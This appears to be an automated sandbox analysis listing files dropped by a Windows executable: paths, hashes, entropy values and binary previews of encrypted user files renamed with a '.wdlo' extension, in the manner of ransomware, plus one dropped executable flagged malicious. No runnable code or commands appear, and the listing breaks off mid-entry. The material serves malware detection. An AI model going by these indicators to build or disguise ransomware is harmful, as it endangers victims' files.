Preview:	{"ram..>..w..Bg......r..c..eFg.lt?._i.....:......".....90.:ydu..1..y............&#..bf....i.o..~._gz..2.W.o.t....8..K...0.......m.......JW0..............Y.[.?@..].m$(.....t....(..:.E3.8..pA3<=v..}c....".j....?..W.2..n...s7...+....C.Y.hG >..y...x..-SAX........../....k-".x..[P...U..J.n.51.l.'..+T..NC.@........Y....?~.r4......Y..D.....]........8r..3.l....@.:...=y#E.u...Ol.5...%...2.U.i4.X0...t4V.\..T.....x.+..v....MJ..S.n..s..pRW..J"..q...GR)..W...:..+..,..._...V(.[..zz..fZ..YCr..q..+ dY..^;.R.n..].z.t."..G.U9..?O..`...B.'..C.1..G.r....M@....c.....E..k..U.F.?..'P.P.H+.G-Y..6.g..gT....9..;.t...?.A`>..X.....o....5..^.oP}..<.Gs........2..@..XI.=...^.\|V.ED3..SF.......CM&...Q...\|+%..S...}...!(...>...3A....:...7.5T.`&Ta......fE...).U.o...J.7.B#....S.o..%h....,..7....\T...\.ga...e.{T....F....b.e.......J,....B.i..........mC.-.....t.#.aM.t<.k.O...A..Hq..qcA......h..\..<...r..A.g:...... .8.".b.....U.c..-.2..Q.`@j..].3i.u..xZ.Yxo......A<i.n<?

C:\Users\user\AppData\Local\Temp\wct3DC0.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997047242145848
Encrypted:	true
SSDEEP:	1536:sFcVz75DO7dzbogUc0luWuxbwoCsCRuzDLUuf:sCltDOmkxRCRuzEuf
MD5:	59F406510E646ED374538358043F4BA2
SHA1:	6898E71FC8015C205B342C9C7DBBE9C4349E0ADF
SHA-256:	9E7F29F328E0739C8B2AEFD31B89BFC15BB193F7D2A527591BA8C57955323170
SHA-512:	13957F8769BC8AAE4BD45E428AA61571AC5C1E944CD2BC907FDD69E8B7C52C5FCA17C06FEF017AA6D10DD7FC356369E260046F61AB668BB50B355FCEF26E1C6B
Malicious:	false
Preview:	{"ram.9.0....{s...V[<.mp..@.;.y.#H).9[........k6..=.".....i..uS...v...1..D....r.r..&_I.Z.A3.......0R.......A..]^-..\|..P......qm_..S.....ccb8..{...]...}p.....#....&.2...UA..O.Q.^...\|A6>.T...?...i...b...v,.[...@N.e....ml...MXtEA...I.ds...F.c...+_.p.9...S.B...Zb...Ud..1..c.....J[nM.xm05.Z..Md..[..x.b.4.EdG.\|.3.g.Z.?.x.$..l...6.u...........}w..;I[..nd...C....J<._J'.....GY.z=......u./.p$5a.Fu._AK_y.h.a 2...F...(..i................;c...q..Y."E.[.Y.".....f:.(e.....a.f..#.9.6A.:R..9.m....HhU._.M7b`R&`.Y...`O....r..yw....fP....l..u.PTnvV{..@.%eg...S.9...x....fQW.d.._.v.....09..@O2(5.P.Bx^Kzk....`}..c...i.\|....u.H.t...\|.....'...,...m9..v[.>_]..Tj...:.=....<.N......Z).3...?....1..%T.=.k1V.........Ny...pS.o...#.=...ee_4.^m}Q.w!.@...._.A\|.%.I\...P].-=TT..j.........r!..<.\|.$.n..~e.._.^.}..%p.~..L...d...GVL..@3..c.....;.Q.....=.L9...ZE.1.8.B.......lI..8.]{3....d......]....Fs..&Fk\ep.b.NQ.A=.FfW...a.>t".....&..T(.........B9...vw...V..aP..i

C:\Users\user\AppData\Local\Temp\wct4E00.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997313711544876
Encrypted:	true
SSDEEP:	1536:WHfOAvi1rS7PVo/f/w7K/nrUPBq8+wbp2u7:cfNi1rS7Pu/Hw7K/rt8zbp
MD5:	09CB5DF36D4512115619C10F5CBD70A2
SHA1:	661AEDA5742C8788D81DD7B048663517547FD60B
SHA-256:	0E94736AFB7E2E978167572C8EB4B796567658B431B4F9FC3C0D66C4EEB50336
SHA-512:	177A00DFDD6A2448C1EDD778664F3C57535FBCF73268CE633FAD645C8D6B6B02FDF4792DB5C9DFBB718F75046331ED548F97D7F4A37F500ED0CB1FD23F94C089
Malicious:	false
Preview:	{"ramw..W..1\.8/..b....s.........N.Y....-!aP.r..\|......>...."....t.6_....%7..K.6..(#%I./...3-.y.B%V<.\.........B....6P.^s(...[...0..;.b..!.`<..5s.....&..3Q.[$..S}.c../.N.....W..D...M...l....w'.d^.M../....bF.m.GJw.....HR.......C...y...5...G.l..C.g.~..\|I........7Z~xX../.aX..p.5R...t.d..i0.....^...b..U7+u+.4Y...)Q....1..EJ..de.;U\.~K...@...58)l.9..Y.-.D.[...bvc:...0..j......M..n.C.M<.\...b...Do..,....q.\.k...l.[d...k5.y.....u....L..Z(8..K....X....]......O.0......6...3...3b.s..0..^D .W.ir.$g...xN.C(H....81..H.2&f&.....\3...,Pp-.....=9..cB.6.5_.).j..D.........K.o9H1K.m..6...tA.......0...&.....-t.q..]xc.:.........I.p........8NNW-.bK~....".C.h.y.4....m.7........>....-...Lcj..l.....N.#y..}KU.y.....;...7.B.......G..Q.?.<...Z....l..\.....N,.V...w....mJ....rDU..sn...)f.j..Y.....v.)E.......[....b....;..bL.....k:i.Y.0..h..X.l.....!E.;....h.V..N.cv'".9..Tm.....^j...ar.?...k.H.3......m.Q.OPY....l.i0.....#...h.2...u...3.w....-.*i.\|}.\.... ..

C:\Users\user\AppData\Local\Temp\wctD87E.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997452466477837
Encrypted:	true
SSDEEP:	1536:ySArfVL3tOpw2r63Sj4SU5GxhiryOFJrvpg3L:yH5L3tsw2rrj4SoGxAOqbgL
MD5:	8D25F62C539BC3ADEB3A1621FC3DEE14
SHA1:	A40202D6E5630DBAC9BAE4F7F4B2BB68C7AF6279
SHA-256:	ED559615406A17C654EBAE9703F2376C019380E81384FCAAE88969A11C7031A7
SHA-512:	C365895BC9AFBE926C3827A16EFDC254F43F35966E320806D41AB0E02D53ECD6D65DFDE307F7A755945133E37D27326BA17896267BE94A092D7BB4B70CE7012D
Malicious:	false
Preview:	{"ram1T.`.].=...?..5..Aj$.G...n.H..Na.e......c}2..\...W.&..R..e.z]y...I.i&....b.9/.....h....%4...".#pu...J,..i.....t...hu.x(0P.....qW-.F....J.....h.:...`..Y...>B..X.....Ky.MO.qRrX.S......R.Qm;..H..{{.'....Q@...i.6.L.M.....G>Cc.E.\|S..7..^?.y....Q...\|>.....p".P._P.r..]......}.....t...8I...@.b..b.(.;.I.W!...d6Y..M.K....s.....s.\|E.dK.'...9!......!.f2BDEf.9.>...u......E.Z.o..z..bH.f~......~g..r../f-....6......D.W.O.. .......y.2.(..!\|8._....C_(M.?..U.^.............bfS..Z.`.k:g.Bsb.1..;......U4..XE......'A.,.....d)."....)."..T...U..~.B8.1.1.o'5...k...`....K....... ..YfN..]D]..s.MB.^.yP.0~..c.m.........OX..I-&A......q..=E.m.Rx..W.`...e.6K..U..}%y.1y"j>.\|..q...S..u..#...W......9.....S..u7.....].C...0.O.F].Y.......]....).wH.j.^....QFt-RW..*.{q7.......`.W........HJ6...7...5.f+...c.z?.VV......._....5.H$.00..B..).....y..O.......[Yc....:3.....z...;...L2.T...j.m.]..#..y.........B......DG{....6Y..\|......0."I. ..Px..l......7[eAL}.GC..8.j \|...Pn9r3)L..^....4..

C:\Users\user\AppData\Local\Temp\wctFF6F.tmp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	42164934
Entropy (8bit):	7.947663047937602
Encrypted:	false
SSDEEP:	786432:0wQNeYDxVRrMPJy7LVV4NDDmdrZy9wOtg5gGOdjtjSNu4GIluUNj56I59g:xQcWxDMPnN+dk65gGUjku4vNjLjg
MD5:	7605C8826D37F857CC1B6B6262EBACAE
SHA1:	EFF1ED1D1EB2AC54B7547A262C6D714AA56746A3
SHA-256:	F07BA0CF8DD4C41C366530CF2EE866BCF52A5C5A1EEF7809BE4752E97BED59BE
SHA-512:	5793AABAB106F320FE992F5514A1C79A74731808E4DD55C28A820E3201F4BBB1C09A4BA8ED33EC739C11FF988B4C084F9FE8930D14C8CD10AB9AB453BE16F2BB
Malicious:	true
Preview:	MZ......uOi.Xzw.D.}......V.......?..@..<q.;.:............98.S..._.......5O...?.\j..e.?NE.^h.aj...}OE...P......X........(Bn.K=.M..`J. ..S..H.?...R.D.V...4U.?.]..z...H.....d..S#........B.q.$Y.&O..!pX."\8...fX.A.....3...c...+..E...._..>5.....{..1..(..l..^..aL.sg....".~..E...J..C.V?s~........'P.9..........&B.z.~...1.3-I.i..@...Q..."...... .J!./.;7....b.B..6a....,.-.\|..Gn.^.;Q.."%K..5{+Y..K.7j..7..G.....N.Q....f...W?...>......?4....\|.......B$.8 r..5..k.'.Y.Jc`..z..6}g.....z.9...'d...D..9....z.*...... .I..Y3.^...7.\.]D.V(.D..x....8xD.~.09..K.O... $s..My.W..W....;v....a..V.kYf.3qK....b....R.sZ.3=eD...l.9...%..$.4.....i.9.X.....P..{i.A....I..}....L....zU.[U..j.....p.P..<..X/....E_Ox........F.vs+....8d.......H.....,.!;X......x..."..^...x......v.0Nj...).j%.8..Tj\|...]....l..E.t._....Z}....D...u.p..}...h..sh.9..M.(.@.....y.].%.L.U ....;....c...zK........%s..5;...Z.?.4...zv,......O$H}.q..v3e..[k...R..p.(..........^.......w..d.....".r.o..!.S.%......

C:\Users\user\AppData\Local\Temp\wmsetup.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	modified
Size (bytes):	1031
Entropy (8bit):	7.802280501232215
Encrypted:	false
SSDEEP:	24:tW/W4kiX2TvolDanzwX01Lbkd/HVYGtehativSfvmx3zbD:M7kW2clDEsX01Lbk5VYGRtiYs3nD
MD5:	6AD2A4367ACB57CC0A39FD04E1E5F7A7
SHA1:	5FBACB178F2C95F7EF6A5B292D6566F26899490A
SHA-256:	9732E44648AF061C24EC77FD47C99A80BCC96A30E1E412DB09CB0F041ED8C030
SHA-512:	214028AA58938239AC9458E63E2524DCBACC0D5AA0C5CEABFBAA73DD25A241F10A27C50DBC8A81D910A35661AFDF7BC5E68A9E22419792B366B125C2D0861376
Malicious:	false
Preview:	..[W.....96....@A.L....6=.W..?.j@..\{..=.Qf.r...d.....i...:.i...6...=1..'\. .'..IX.(r...v .X..>...J..I....CT..q..K...w.g.N#.=..05...p.zxG.@k...S..Y.QYK.....[eq......../.M.@(.~.I......o.ceI(.p..3..b...-...E..I$..vL.:.>..X..&h2W.B.......&:..Q.k.'X7(wc...an..@QNB..L..E...Dq...Nqz...M".......$.y..V.`]3..L.....(...iW=....9.__G...\......r.....R,>C..Cn....?...CV.r....v..>....n....j.......=/9..>'.....B2....v)..+..3M....wq..ME...%.L.o;.(..8...=.....CP.InB &..V..Y\Wm....b...8:....B0..1.\|.......6.K....5..oc<...M$.<c2va><%. u.I.y\|...].b.b..x.A..#.n..[..r.?w....iO.".e.[.....5.j...........z..g.~..I..&=.H<.W...u..I...!..z...?iC~..<.K.a...I.f.-.z.}..%..8..].b...C]H.l.....Z.S..V]........z.{.....E:.@U.....nbZ.......)..~EB]1.......Y....;.......$....a1..C..\|H~MG.'....M).8p]..."l.0..W...%.Hz........d.....?..?.....#...w.do.S..P~....I'o...0`uY.....:..._E.^..@...........}...F.EEj.K...,$n'.<_9.C.yAG........i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698

C:\Users\user\AppData\Roaming\.curlrc

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.324385346804352
Encrypted:	false
SSDEEP:	6:KWt/adycoZ9wEy0eIzTgSW/BGxLCSgFOn3dOsVolWbz6Wcii96Z:NtbcEy0egTHW/a2qX36Wcii9a
MD5:	4FE21FC5F272ABEE0A95F104B02E292F
SHA1:	F82B176F0A14CA4C3CFAB4EA71415864156E76D8
SHA-256:	7F24673568955BCB19FD3F0DFF26B0E5C9F439D190931F6997248A1CB24DD2B3
SHA-512:	5CA30DF995D4D2992B64F4E193ADECF23E1F5625867AC0007F2001C1E079C35438CB90B9DC90A3B5D0B1275724CBE05AB0F9BA5CE200AAB26C1F8BDEAB20441B
Malicious:	false
Preview:	insec.K..Z[.c.{.B..#z2.....l..O...E.(.....L...1$w..!n.q!.O..u.x..G....5..V.+.<.y..../.:..1.......;...K.......U.^z.+......<.ALt.~/..k.r.m.!5.M..<e.V,.s...@........w.^:c....,...Yn.H...A....v..S...4Jh.UQ...........N..o.fl[.d.C....T....A...r...zt\i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Bluetooth File Transfer.LNK

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.857650004477442
Encrypted:	false
SSDEEP:	24:K7pT4dODoHw4gsneQcLYRlkSrpx8l+jW63DhJ05aJsZfm7powtYJ43zbD:opVDoQ4gseQc8RvxTfDL0IJsNmxtYK3D
MD5:	13E6586489D24C52EB90CE6F7A01EA5A
SHA1:	CE2D926D139AF431685F13ED31AAE590CE19D7A2
SHA-256:	CCE9BC42B68A1822037D628542660BD129B02A135ACC50DA563BA2A56B6F8737
SHA-512:	3F78BE317C3F8E40601E90C8F4AE5D515DD0D50ABB72DE7F98832EF00587DD7CA7315398C30EE109234311169A7B6385F36D70F10F6A92701A1A7EB541BCB654
Malicious:	false
Preview:	L....4z..g[..R/..<n.uD......C0....%. ..=....8......n.}.{..=y....#....H.PI[R^..M..?.n._."D.GI..R...._c.........R..#.`.0i.O.`(.u.Hm...g+.yrW....G.\...N.5.?...&..0$..d-n...N[.y.....e.........!#.<x...F\|B\|Q].#._..+...&i(H...............d...<4U...,o.a....W.<.j...P.Q.w....y,{.N..(X.Y..^)T..k...Zc.}....F..]R.+..\|.{.Q'6.zgHK9...gVCEw.a8..0~.LD.Y..<4.M.S.....u.cx...){8..O..z..Q..!C.E3..I..S......d.Z\|E}B...qla..~.h..H.G:gV......U.........2.EY.R...[."..Y#%..V..~najj.}...H.JB..!.fq..eq.....[...)....f.=...f....G@c..E^U.F_..7c.R..l.hH. #...x...nc...Q.c...! ....a...Q..O.....c.r....J...w(~._..@y..Z6.BLc_..J.#Lq...J....6.v......TY.q,.....n\...e..`..M..F......$.a.?..\|..?..,.b@[..!...7.......^....4........'.h.\|wH.E.....}9.ES...9.hAk.Z.o`.........l.(..c.]..S.x.K..\....iQ.nx.....,..)\|.h~..@..JS[.}.......E..<...K.....f....O.z.:.t.8....2....bH.s_Q......H....`=]\|.t...m.,.dY...n..9y.w.SF...O.V.,."Xd.>Z.n..L.....J<....*a..J.....Y.t...@.W.H...q.a...d.w}.

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Desktop (create shortcut).DeskLink

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.155579765248746
Encrypted:	false
SSDEEP:	6:vDj384cidyZTUgronRwE/vHiiL0EpMMGX30MdOsVolWbz6Wcii96Z:vX384cBbomyvHiiL02G1n36Wcii9a
MD5:	DCC1BAC307AD13F8A8A7E66EE1D419FB
SHA1:	9D1FC7AEBAC3A187ABF319799D964FDB2FD1C2C6
SHA-256:	EB097C688AE3B71B900EEBB6F17449DC7F8C80005925ECAB98E90A4E9281D2AA
SHA-512:	54541CD5ED7BA294308A458D4B402C017CBC149401F725ADFAECB743B230EF908A1328B6D46704116FC22FC3B98BD028842514821D5D19FC1269531407EE05A0
Malicious:	false
Preview:	deskt...-=.+...;...8X....e.^p...e..)...e..x=.0...H..Z.B.9........M.......jx.a2....D.\|.5..;......J...L/.8t.j....."..A.%....h$...10.Sj..9xl6.J.F.......r.H......d...`.._....J.DF.u{<.#M.aM (..Y......P%.G.\|.D..).mH.S.MS^...Baa.&....&..-^.\|}....jr..u...Q...i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\.curlrc.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.324385346804352
Encrypted:	false
SSDEEP:	6:KWt/adycoZ9wEy0eIzTgSW/BGxLCSgFOn3dOsVolWbz6Wcii96Z:NtbcEy0egTHW/a2qX36Wcii9a
MD5:	4FE21FC5F272ABEE0A95F104B02E292F
SHA1:	F82B176F0A14CA4C3CFAB4EA71415864156E76D8
SHA-256:	7F24673568955BCB19FD3F0DFF26B0E5C9F439D190931F6997248A1CB24DD2B3
SHA-512:	5CA30DF995D4D2992B64F4E193ADECF23E1F5625867AC0007F2001C1E079C35438CB90B9DC90A3B5D0B1275724CBE05AB0F9BA5CE200AAB26C1F8BDEAB20441B
Malicious:	false
Preview:	insec.K..Z[.c.{.B..#z2.....l..O...E.(.....L...1$w..!n.q!.O..u.x..G....5..V.+.<.y..../.:..1.......;...K.......U.^z.+......<.ALt.~/..k.r.m.!5.M..<e.V,.s...@........w.^:c....,...Yn.H...A....v..S...4Jh.UQ...........N..o.fl[.d.C....T....A...r...zt\i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Desktop\BJZFPPWAPT.mp3

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8455308471673115
Encrypted:	false
SSDEEP:	24:VdNqI+niwU0YuEgVtm4cvuoPcbTeTJyCuEFdwQiT3wGt9jIdL6t0M1NfBm2D3zbD:Fhpi7Vw5meTJPuEFdwQcwJGNNU2D3nD
MD5:	0E06945277E54968BEA71644426756EC
SHA1:	367C4078D4B13BAB6277E44B42083FD040C20464
SHA-256:	3DFFD53331BBC2E6B0C2D10EE99F9A322F222C403C5AAF275120348FAF34BE82
SHA-512:	B599E375FC130FA214EEB9AE07A832EAA12A2CBDCC642523FDB116248E41DFEBED7047B1FC38792A1FDB6536813D65EDB61219F8D50028431252A465E7B978DE
Malicious:	false
Preview:	BJZFP....he.s.. .....~.q....).d.Ti[9...ow...@..#.0.@.%gM.-.f.]..\|.\...9..).......Q...(.r.P`.P.....(Z..N)a...O>[.....[Km..>y.y..U..i6.\N.....4z.^...4..Q..Gt...\.{.....e...~.(o.G........S..B........-^.4..Vyy^36F......n.z. ..<../...\|\|.%.F.".A)...>T....@..a..@...(..wV.\|._.y^.q/.E.I..>A...E.0.7E..C<..nb$.j..+..7.m.c..@...h.2.C....q...[-N+\|..V5h...1..1..[....+...T./..l.#....KS...v.....b./....l..W.dA..J..`N...B#S.^z."..........2.,.....T.oU....A......c....-......V......./..Gn...1g...D.+#.'.]L\x.L_.H.....[....M._1..........(dh`w..\.....x?PY.Y....g....q:.."_.un....\|..E>.C\|Z.'.{V.XAk...<....F...M.p...w..p..2k;..v.=....5.(.?.p.!...J)y.2P..tPD..5...l...v.p.r...8!..........hsG..q]5.a!T..Xb...x'8.G..e<.zQ..........w....U ...5..^..v.;......}>..L.......aY.5._p\:Y./....Xy.1M4..]......d.\|.T.6..E.b... ..2..i.LR.O.1m...........X.].t`te.........Bd.2.k..0._H..I...[.O..j<..../...i..M=u..5R.....[....Ie../...s..\|.R...=..\T.$...........7..R..f!.}Lb.5.-_.....

C:\Users\user\Desktop\BJZFPPWAPT.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8455308471673115
Encrypted:	false
SSDEEP:	24:VdNqI+niwU0YuEgVtm4cvuoPcbTeTJyCuEFdwQiT3wGt9jIdL6t0M1NfBm2D3zbD:Fhpi7Vw5meTJPuEFdwQcwJGNNU2D3nD
MD5:	0E06945277E54968BEA71644426756EC
SHA1:	367C4078D4B13BAB6277E44B42083FD040C20464
SHA-256:	3DFFD53331BBC2E6B0C2D10EE99F9A322F222C403C5AAF275120348FAF34BE82
SHA-512:	B599E375FC130FA214EEB9AE07A832EAA12A2CBDCC642523FDB116248E41DFEBED7047B1FC38792A1FDB6536813D65EDB61219F8D50028431252A465E7B978DE
Malicious:	false
Preview:	BJZFP....he.s.. .....~.q....).d.Ti[9...ow...@..#.0.@.%gM.-.f.]..\|.\...9..).......Q...(.r.P`.P.....(Z..N)a...O>[.....[Km..>y.y..U..i6.\N.....4z.^...4..Q..Gt...\.{.....e...~.(o.G........S..B........-^.4..Vyy^36F......n.z. ..<../...\|\|.%.F.".A)...>T....@..a..@...(..wV.\|._.y^.q/.E.I..>A...E.0.7E..C<..nb$.j..+..7.m.c..@...h.2.C....q...[-N+\|..V5h...1..1..[....+...T./..l.#....KS...v.....b./....l..W.dA..J..`N...B#S.^z."..........2.,.....T.oU....A......c....-......V......./..Gn...1g...D.+#.'.]L\x.L_.H.....[....M._1..........(dh`w..\.....x?PY.Y....g....q:.."_.un....\|..E>.C\|Z.'.{V.XAk...<....F...M.p...w..p..2k;..v.=....5.(.?.p.!...J)y.2P..tPD..5...l...v.p.r...8!..........hsG..q]5.a!T..Xb...x'8.G..e<.zQ..........w....U ...5..^..v.;......}>..L.......aY.5._p\:Y./....Xy.1M4..]......d.\|.T.6..E.b... ..2..i.LR.O.1m...........X.].t`te.........Bd.2.k..0._H..I...[.O..j<..../...i..M=u..5R.....[....Ie../...s..\|.R...=..\T.$...........7..R..f!.}Lb.5.-_.....

C:\Users\user\Desktop\BNAGMGSPLO.jpg

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855376653518049
Encrypted:	false
SSDEEP:	24:OgZQnpjFWjiu+qo0sd5w2HL/rzsQEn0mf0jetrva1S5UUL9NNz35HnUNDT3zbD:OLnTWj9+qo0sLwb0mxC19y5z35K3nD
MD5:	7A8C65E2C878F8F776E5EE3DF59970A8
SHA1:	D3C25183D03B243D51A2DD080090337C4406E1E7
SHA-256:	E9DEED999F69C03C3F0B5DABC539993AFF9D8E51024F20E9C1AEC112C9E22D13
SHA-512:	738630DFCA9B4D4CE189698F9DAB577C59A53F64EB0796F870DED6E0D6C8134C466D59B241B43F66FEBE295086AA8AF8AFF1F73A174A16A1AE206930EC86601D
Malicious:	false
Preview:	BNAGM.?.....2F..%.\|..6-..@n:.m.y,u.K..<....O&..!.;.WF....F~...8....V[..q3..?..~.O.c.'.k!6.. ...R..RJ'....>..KgG.Q..Ff.......;..JI..{.6u...3...P..'K...IJ-N.3>.(m..N...S"....v.....91..:...F..._3Q.....$..v......._z..zo..z.&....c".W..[.D.<D....^o.>!..wR....9..H.KH..m._.YM.Y2....c.............(....Q.....x;..!._...0..6;.....R..-pO..\|.=.Q.q.b...).j..sY...s...L6.TQ...H>.l~:)nC...S...&...XU/.clG7Q...}.........)~W.J1.?.2..GN.i...s...."....../4...:u.h0...}....a..Gb.....O...q...Q...H.n>{.i...Lr...8..r.\|..A....l.]';k...vx....gD..#.....w.h..y...E.T&..5b..`e.n..t...i.x..e.,.5=..;.#.H...S..DZ/.....m.({.S.E.[...-..+....'...wN..,....$.....B...?....yZ.3Pf.n...ba..:%Q6 ?..z.U'.v.0.(..p&.b.fd.....3..l.`. .;W....x/$..k..H$..%.W=:K.....uH....ydV....X.RVb..j.....P.\|#.........aR._,......lB..7PE"c.....'....m.2.b8t.l.U..Wv6$>.@..}U..}y.-\..>G....\P.<.;....%..?.O!.r(....\|.S1.n...R..........-*...<.........i......[.-...[.R.R...........B(`..VE..D.+T2w.~..f.}.04.

C:\Users\user\Desktop\BNAGMGSPLO.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855376653518049
Encrypted:	false
SSDEEP:	24:OgZQnpjFWjiu+qo0sd5w2HL/rzsQEn0mf0jetrva1S5UUL9NNz35HnUNDT3zbD:OLnTWj9+qo0sLwb0mxC19y5z35K3nD
MD5:	7A8C65E2C878F8F776E5EE3DF59970A8
SHA1:	D3C25183D03B243D51A2DD080090337C4406E1E7
SHA-256:	E9DEED999F69C03C3F0B5DABC539993AFF9D8E51024F20E9C1AEC112C9E22D13
SHA-512:	738630DFCA9B4D4CE189698F9DAB577C59A53F64EB0796F870DED6E0D6C8134C466D59B241B43F66FEBE295086AA8AF8AFF1F73A174A16A1AE206930EC86601D
Malicious:	false
Preview:	BNAGM.?.....2F..%.\|..6-..@n:.m.y,u.K..<....O&..!.;.WF....F~...8....V[..q3..?..~.O.c.'.k!6.. ...R..RJ'....>..KgG.Q..Ff.......;..JI..{.6u...3...P..'K...IJ-N.3>.(m..N...S"....v.....91..:...F..._3Q.....$..v......._z..zo..z.&....c".W..[.D.<D....^o.>!..wR....9..H.KH..m._.YM.Y2....c.............(....Q.....x;..!._...0..6;.....R..-pO..\|.=.Q.q.b...).j..sY...s...L6.TQ...H>.l~:)nC...S...&...XU/.clG7Q...}.........)~W.J1.?.2..GN.i...s...."....../4...:u.h0...}....a..Gb.....O...q...Q...H.n>{.i...Lr...8..r.\|..A....l.]';k...vx....gD..#.....w.h..y...E.T&..5b..`e.n..t...i.x..e.,.5=..;.#.H...S..DZ/.....m.({.S.E.[...-..+....'...wN..,....$.....B...?....yZ.3Pf.n...ba..:%Q6 ?..z.U'.v.0.(..p&.b.fd.....3..l.`. .;W....x/$..k..H$..%.W=:K.....uH....ydV....X.RVb..j.....P.\|#.........aR._,......lB..7PE"c.....'....m.2.b8t.l.U..Wv6$>.@..}U..}y.-\..>G....\P.<.;....%..?.O!.r(....\|.S1.n...R..........-*...<.........i......[.-...[.R.R...........B(`..VE..D.+T2w.~..f.}.04.

C:\Users\user\Desktop\BNAGMGSPLO.mp3

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849521162936824
Encrypted:	false
SSDEEP:	24:56ksQ1py5HdLepk4O2fLKxmh/EbIWOPHe4/1EQxQ4JHDmAz2BQq3zbD:4Q1IH424O8LKxmh/vWOPHV/ewxCAaBjT
MD5:	EF68249758078647189BB4CD3AE1A158
SHA1:	FD3AE296426968C517EF5F01DAAEE0BA24518ED5
SHA-256:	09A1071F7E46023FE61D99B99433788BB74C839741BD6CE0A11EA37617DAB0DB
SHA-512:	273B8DDCDEB28A2D2E0219BB8701EEBB8FAD6D6EABDB2D58EFB8CEB07AEC7155E2FEC2E5F71AC411AF9952F0BDE9AB466C4B383987C21F8997545CEB1B0C869F
Malicious:	false
Preview:	BNAGM...Cs..L.......n.\|.k.....j?6%..].~._.n...1=.W.>....~/.>...N...<.v.B..R..g.U.F....q.y..o.L..D...h3...!.7.x7gfNI..p..a..6..~&Q..-..0.c#...B.[@...I..b ....u..g.....y.......q.n.(Y...f.b.6..Uoa..]...$^1.....<...L..K.).+\|.A.......i.#.^.`.k..P.l.a.d.W...xq...wC..f...TN....,..L....:..6M...v%QHX..U.....S.6.b....f....=.R.....I...a...G..S.h..Qne.^....j.....A...h...~.@~.W.....<Dj&.h5.[...N...}.U..3..l....y...X..'U /...xKi..&.l&..C..;.7.N. 4..v_.k7o.... ..V.:....6.H.s......f.l..L...K.]..j.=Fp..j=.o;......v..:..6......Ag......:;.P...E..K7S.$.5......+...O...f..Y...bn0...U.;....Te.C......b...F1\9.a.l.%.?..?.7.......l......8..E.o...n...jb{.?...$3....?.Y\.S.....!."..3..B.o..........;....CR8..........QNS..Oq...c....8...U.....ab....<.N...{...D.Z.."...b..6.s_..A..'....1..(kGvC...yG..&Ab......hn#.....M..K.6-.I.......^..]ciu....n............L.@{]...hbR.&.9.$....n,.:.bn.@3......)..5. ..Y.....bLe.....)..8.E`..<.E.z.[..].(.i..\B.W.*u..g.gE

C:\Users\user\Desktop\BNAGMGSPLO.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849521162936824
Encrypted:	false
SSDEEP:	24:56ksQ1py5HdLepk4O2fLKxmh/EbIWOPHe4/1EQxQ4JHDmAz2BQq3zbD:4Q1IH424O8LKxmh/vWOPHV/ewxCAaBjT
